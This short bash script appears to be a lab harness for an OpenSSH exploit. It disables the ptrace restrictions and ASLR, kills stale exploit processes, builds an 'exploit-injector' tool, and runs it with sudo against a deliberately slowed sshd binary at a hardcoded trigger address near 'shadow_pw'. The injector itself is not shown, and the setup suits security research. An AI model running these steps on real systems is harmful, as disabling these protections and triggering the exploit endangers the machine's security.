#! /bin/bash
set -euo pipefail

INJECTOR_DIR="./exploit-injector"

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
sudo $INJECTOR_DIR/disable_aslr.sh


# kill existing (stale) exploit processes
STALE_PID=`ps aux | grep openssh-exploit | grep -v "grep" | awk '{print $2}'` || true
if [ -n "$STALE_PID" ]; then
  echo "Killing stale process with PID $STALE_PID"
  sudo kill $STALE_PID || true
else
  echo "No stale process found."
fi

cd $INJECTOR_DIR
make
cd ..

# the first argument is the address at which the exploit should be triggered.
# It should point slightly before the end of shadow_pw, for the sshd_slowed 
# variant, it should point at the beginning of the inserted slowdown loop
sudo $INJECTOR_DIR/injector 0x55555560cac0 $PWD/precompiled-binaries/sshd_slowed -p 31337 -ddde
